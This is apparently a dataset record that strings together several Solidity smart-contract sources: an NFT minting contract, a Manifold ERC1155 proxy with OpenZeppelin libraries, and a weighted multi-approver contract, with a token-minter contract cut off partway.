* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/larvacucks.sol
pragma solidity >=0.7.0 <0.9.0;
contract larvacucks is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _totalsupply;
string uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.0069 ether;
uint256 public maxSupply = 5555;
uint256 public maxMintAmountPerTx = 20;
bool public paused = false;
bool public revealed = false;
bool public dynamicCost = true;
constructor() ERC721("Larva Cucks", "CUCK") {
setHiddenMetadataUri("ipfs://QmQG6HCKFYFTTxVRANhvmMhnaCN3yWppinuEcwdPVsZyVg/Hidden.json");
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(_totalsupply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
_;
}
function totalSupply() public view returns (uint256) {
return _totalsupply.current();
}
function calculateDynamicCost() internal view returns (uint256 _cost) {
uint256 supply = totalSupply();
if (supply < 2000){
return 0 ether;
}
if (supply <= maxSupply){
return 0.0069 ether;
}
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
if(dynamicCost== true){
require( msg.value >= calculateDynamicCost() * _mintAmount, "Insufficient funds!");
} else{
require( msg.value >= cost * _mintAmount, "Insufficient funds!");
}
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
_mintLoop(_receiver, _mintAmount);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setDynamicCost(bool _state) public onlyOwner {
dynamicCost = _state;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
_totalsupply.increment();
_safeMint(_receiver, _totalsupply.current());
}
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
}
|
True
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1000,
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1000,
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4895,
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4675,
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1025,
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3853,
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5527,
4675,
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4722,
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5371,
1024,
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27877,
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1025,
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1008,
1008,
1008,
1030,
16475,
5164,
3136,
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1008,
1013,
3075,
7817,
1063,
27507,
16048,
2797,
5377,
1035,
2002,
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1000,
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1007,
1063,
1013,
1013,
4427,
2011,
2030,
6305,
3669,
4371,
9331,
2072,
102
] |
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Titans Collection
/// @author: manifold.xyz
import "./ERC1155Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// ______ ______ ______ ______ __ __ ____ //
// /\__ _/\__ _/\__ _/\ _ \/\ \/\ \/\ _`\ //
// \/_/\ \\/_/\ \\/_/\ \\ \ \L\ \ \ `\\ \ \,\L\_\ //
// _______ \ \ \ \ \ \ \ \ \\ \ __ \ \ , ` \/_\__ \ _______ //
// /\______\ \ \ \ \_\ \__\ \ \\ \ \/\ \ \ \`\ \/\ \L\ \ /\______\ //
// \/______/ \ \_\ /\_____\\ \_\\ \_\ \_\ \_\ \_\ `\____\ \/______/ //
// \/_/ \/_____/ \/_/ \/_/\/_/\/_/\/_/\/_____/ //
// //
// //
// ____ __ __ ______ ____ __ __ //
// /\ _`\ /\ \ /\ \ /\ _ \ /\ _`\ /\ \/\ \ /'\_/`\ //
// \ \ \L\ \ `\`\\/'/ \ \ \L\ \ \ \ \L\ \ \ \ \_\ \ /\ \ //
// \ \ _ <`\ `\ /' _______ \ \ __ \ \ \ _ <' \ \ _ \ \ \ \__\ \ //
// \ \ \L\ \`\ \ \ /\______\ \ \ \/\ \ _\ \ \L\ \_\ \ \ \ \ _\ \ \_/\ \ //
// \ \____/ \ \_\ \/______/ \ \_\ \_/\_\ \____/\_\ \_\ \_/\_\ \_\\ \_\ //
// \/___/ \/_/ \/_/\/_\/_/\/___/\/_/\/_/\/_\/_/\/_/ \/_/ //
// //
// //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////
contract TITAN is ERC1155Creator {
constructor() ERC1155Creator() {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC1155Creator is Proxy {
constructor() {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4;
Address.functionDelegateCall(
0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4,
abi.encodeWithSignature("initialize()")
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*/
abstract contract Approvable is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using SafeMath for uint256;
EnumerableSet.AddressSet _approvers;
mapping(address => uint256) private _weights;
uint256 private _totalWeight;
uint256 private _threshold;
struct GrantApprover {
uint256 id;
bool executed;
address account;
uint256 weight;
uint256 approvalsWeight;
}
GrantApprover[] private _grantApprovers;
mapping(address => mapping(uint256 => bool)) private _approvalsGrantApprover;
struct ChangeApproverWeight {
uint256 id;
bool executed;
address account;
uint256 weight;
uint256 approvalsWeight;
}
ChangeApproverWeight[] private _changeApproverWeights;
mapping(address => mapping(uint256 => bool)) private _approvalsChangeApproverWeight;
struct RevokeApprover {
uint256 id;
bool executed;
address account;
uint256 approvalsWeight;
}
RevokeApprover[] private _revokeApprovers;
mapping(address => mapping(uint256 => bool)) private _approvalsRevokeApprover;
struct ChangeThreshold {
uint256 id;
bool executed;
uint256 threshold;
uint256 approvalsWeight;
}
ChangeThreshold[] private _changeThresholds;
mapping(address => mapping(uint256 => bool)) private _approvalsChangeThreshold;
event NewGrantApprover(uint256 indexed id, address indexed account, uint256 weight);
event VoteForGrantApprover(uint256 indexed id, address indexed voter, uint256 voterWeight, uint256 approvalsWeight);
event ApproverGranted(address indexed account);
event NewChangeApproverWeight(uint256 indexed id, address indexed account, uint256 weight);
event VoteForChangeApproverWeight(uint256 indexed id, address indexed voter, uint256 voterWeight, uint256 approvalsWeight);
event ApproverWeightChanged(address indexed account, uint256 oldWeight, uint256 newWeight);
event NewRevokeApprover(uint256 indexed id, address indexed account);
event VoteForRevokeApprover(uint256 indexed id, address indexed voter, uint256 voterWeight, uint256 approvalsWeight);
event ApproverRevoked(address indexed account);
event NewChangeThreshold(uint256 indexed id, uint256 threshold);
event VoteForChangeThreshold(uint256 indexed id, address indexed voter, uint256 voterWeight, uint256 approvalsWeight);
event ThresholdChanged(uint256 oldThreshold, uint256 newThreshold);
event TotalWeightChanged(uint256 oldTotalWeight, uint256 newTotalWeight);
function getThreshold() public view returns (uint256) {
return _threshold;
}
function getTotalWeight() public view returns (uint256) {
return _totalWeight;
}
function getApproversCount() public view returns (uint256) {
return _approvers.length();
}
function isApprover(address account) public view returns (bool) {
return _approvers.contains(account);
}
function getApprover(uint256 index) public view returns (address) {
return _approvers.at(index);
}
function getApproverWeight(address account) public view returns (uint256) {
return _weights[account];
}
// GrantApprovers
function getGrantApproversCount() public view returns (uint256) {
return _grantApprovers.length;
}
function getGrantApprover(uint256 id) public view returns (GrantApprover memory) {
return _grantApprovers[id];
}
// ChangeApproverWeights
function getChangeApproverWeightsCount() public view returns (uint256) {
return _changeApproverWeights.length;
}
function getChangeApproverWeight(uint256 id) public view returns (ChangeApproverWeight memory) {
return _changeApproverWeights[id];
}
// RevokeApprovers
function getRevokeApproversCount() public view returns (uint256) {
return _revokeApprovers.length;
}
function getRevokeApprover(uint256 id) public view returns (RevokeApprover memory) {
return _revokeApprovers[id];
}
// ChangeThresholds
function getChangeThresholdsCount() public view returns (uint256) {
return _changeThresholds.length;
}
function getChangeThreshold(uint256 id) public view returns (ChangeThreshold memory) {
return _changeThresholds[id];
}
// Grant Approver
function grantApprover(address account, uint256 weight) public onlyApprover returns (uint256) {
uint256 id = _addNewGrantApprover(account, weight);
_voteForGrantApprover(id);
return id;
}
function _addNewGrantApprover(address account, uint256 weight) private returns (uint256) {
require(account != address(0), "Approvable: account is the zero address");
uint256 id = _grantApprovers.length;
_grantApprovers.push(GrantApprover(id, false, account, weight, 0));
emit NewGrantApprover(id, account, weight);
return id;
}
function _voteForGrantApprover(uint256 id) private returns (bool) {
address msgSender = _msgSender();
_approvalsGrantApprover[msgSender][id] = true;
_grantApprovers[id].approvalsWeight = _grantApprovers[id].approvalsWeight.add(_weights[msgSender]);
emit VoteForGrantApprover(id, msgSender, _weights[msgSender], _grantApprovers[id].approvalsWeight);
return true;
}
function _grantApprover(address account, uint256 weight) private returns (bool) {
if (_approvers.add(account)) {
_changeApproverWeight(account, weight);
emit ApproverGranted(account);
return true;
}
return false;
}
function _setupApprover(address account, uint256 weight) internal returns (bool) {
return _grantApprover(account, weight);
}
function approveGrantApprover(uint256 id) public onlyApprover returns (bool) {
require(_grantApprovers[id].executed == false, "Approvable: action has already executed");
require(_approvalsGrantApprover[_msgSender()][id] == false, "Approvable: Cannot approve action twice");
return _voteForGrantApprover(id);
}
function confirmGrantApprover(uint256 id) public returns (bool) {
require(_grantApprovers[id].account == _msgSender(), "Approvable: only pending approver");
require(_grantApprovers[id].executed == false, "Approvable: action has already executed");
if (_grantApprovers[id].approvalsWeight >= _threshold) {
_grantApprover(_grantApprovers[id].account, _grantApprovers[id].weight);
_grantApprovers[id].executed = true;
return true;
}
return false;
}
// Change Approver Weight
function changeApproverWeight(address account, uint256 weight) public onlyApprover returns (uint256) {
require(_totalWeight.sub(_weights[account]).add(weight) >= _threshold, "Approvable: The threshold is greater than new totalWeight");
uint256 id = _addNewChangeApproverWeight(account, weight);
_voteForChangeApproverWeight(id);
return id;
}
function _addNewChangeApproverWeight(address account, uint256 weight) private returns (uint256) {
require(account != address(0), "Approvable: account is the zero address");
uint256 id = _changeApproverWeights.length;
_changeApproverWeights.push(ChangeApproverWeight(id, false, account, weight, 0));
emit NewChangeApproverWeight(id, account, weight);
return id;
}
function _voteForChangeApproverWeight(uint256 id) private returns (bool) {
address msgSender = _msgSender();
_approvalsChangeApproverWeight[msgSender][id] = true;
_changeApproverWeights[id].approvalsWeight = _changeApproverWeights[id].approvalsWeight.add(_weights[msgSender]);
emit VoteForChangeApproverWeight(id, msgSender, _weights[msgSender], _changeApproverWeights[id].approvalsWeight);
if (_changeApproverWeights[id].approvalsWeight >= _threshold) {
_changeApproverWeight(_changeApproverWeights[id].account, _changeApproverWeights[id].weight);
_changeApproverWeights[id].executed = true;
}
return true;
}
function _changeApproverWeight(address account, uint256 weight) private returns (bool) {
uint256 newTotalWeight = _totalWeight.sub(_weights[account]).add(weight);
require(newTotalWeight >= _threshold, "Approvable: The threshold is greater than new totalWeight");
_setTotalWeight(newTotalWeight);
emit ApproverWeightChanged(account, _weights[account], weight);
_weights[account] = weight;
return true;
}
function approveChangeApproverWeight(uint256 id) public onlyApprover returns (bool) {
require(_changeApproverWeights[id].executed == false, "Approvable: action has already executed");
require(_approvalsChangeApproverWeight[_msgSender()][id] == false, "Approvable: Cannot approve action twice");
return _voteForChangeApproverWeight(id);
}
// Revoke Approver
function revokeApprover(address account) public onlyApprover returns (uint256) {
require(_totalWeight.sub(_weights[account]) >= _threshold, "Approvable: The threshold is greater than new totalWeight");
uint256 id = _addNewRevokeApprover(account);
_voteForRevokeApprover(id);
return id;
}
function _addNewRevokeApprover(address account) private returns (uint256) {
require(account != address(0), "Approvable: account is the zero address");
uint256 id = _revokeApprovers.length;
_revokeApprovers.push(RevokeApprover(id, false, account, 0));
emit NewRevokeApprover(id, account);
return id;
}
function _voteForRevokeApprover(uint256 id) private returns (bool) {
address msgSender = _msgSender();
_approvalsRevokeApprover[msgSender][id] = true;
_revokeApprovers[id].approvalsWeight = _revokeApprovers[id].approvalsWeight.add(_weights[msgSender]);
emit VoteForRevokeApprover(id, msgSender, _weights[msgSender], _revokeApprovers[id].approvalsWeight);
if (_revokeApprovers[id].approvalsWeight >= _threshold) {
_revokeApprover(_revokeApprovers[id].account);
_revokeApprovers[id].executed = true;
}
return true;
}
function _revokeApprover(address account) private returns (bool) {
uint256 newTotalWeight = _totalWeight.sub(_weights[account]);
require(newTotalWeight >= _threshold, "Approvable: The threshold is greater than new totalWeight");
if (_approvers.remove(account)) {
_changeApproverWeight(account, 0);
emit ApproverRevoked(account);
return true;
}
return false;
}
function approveRevokeApprover(uint256 id) public onlyApprover returns (bool) {
require(_revokeApprovers[id].executed == false, "Approvable: action has already executed");
require(_approvalsRevokeApprover[_msgSender()][id] == false, "Approvable: Cannot approve action twice");
return _voteForRevokeApprover(id);
}
function renounceApprover(address account) public returns (bool) {
require(account == _msgSender(), "Approvable: can only renounce roles for self");
return _revokeApprover(account);
}
// Change Threshold
function changeThreshold(uint256 threshold) public onlyApprover returns (uint256) {
require(getTotalWeight() >= threshold, "Approvable: The new threshold is greater than totalWeight");
uint256 id = _addNewChangeThreshold(threshold);
_voteForChangeThreshold(id);
return id;
}
function _addNewChangeThreshold(uint256 threshold) private returns (uint256) {
uint256 id = _changeThresholds.length;
_changeThresholds.push(ChangeThreshold(id, false, threshold, 0));
emit NewChangeThreshold(id, threshold);
return id;
}
function _voteForChangeThreshold(uint256 id) private returns (bool) {
address msgSender = _msgSender();
_approvalsChangeThreshold[msgSender][id] = true;
_changeThresholds[id].approvalsWeight = _changeThresholds[id].approvalsWeight.add(_weights[msgSender]);
emit VoteForChangeThreshold(id, msgSender, _weights[msgSender], _changeThresholds[id].approvalsWeight);
if (_changeThresholds[id].approvalsWeight >= _threshold) {
_setThreshold(_changeThresholds[id].threshold);
_changeThresholds[id].executed = true;
}
return true;
}
function approveChangeThreshold(uint256 id) public onlyApprover returns (bool) {
require(_changeThresholds[id].executed == false, "Approvable: action has already executed");
require(_approvalsChangeThreshold[_msgSender()][id] == false, "Approvable: Cannot approve action twice");
return _voteForChangeThreshold(id);
}
function _setThreshold(uint256 threshold) private returns (bool) {
require(getTotalWeight() >= threshold, "Approvable: The new threshold is greater than totalWeight");
emit ThresholdChanged(_threshold, threshold);
_threshold = threshold;
return true;
}
function _setupThreshold(uint256 threshold) internal returns (bool) {
return _setThreshold(threshold);
}
// Total Weight
function _setTotalWeight(uint256 totalWeight) private returns (bool) {
emit TotalWeightChanged(_totalWeight, totalWeight);
_totalWeight = totalWeight;
return true;
}
modifier onlyApprover() {
require(isApprover(_msgSender()), "Approvable: caller is not the approver");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Approvable.sol";
interface IERC20Short {
function burnFrom(address account, uint256 amount) external;
function mint(address to, uint256 amount) external;
}
contract CUPMinter is Approvable {
using SafeMath for uint256;
address private _cup;
mapping(address => bool) private _tokens;
struct Proposal {
uint256 id;
bool applied;
address token;
uint256 approvalsWeight;
}
Proposal[] private _proposals;
mapping(address => mapping(uint256 => bool)) private _approvalsProposal;
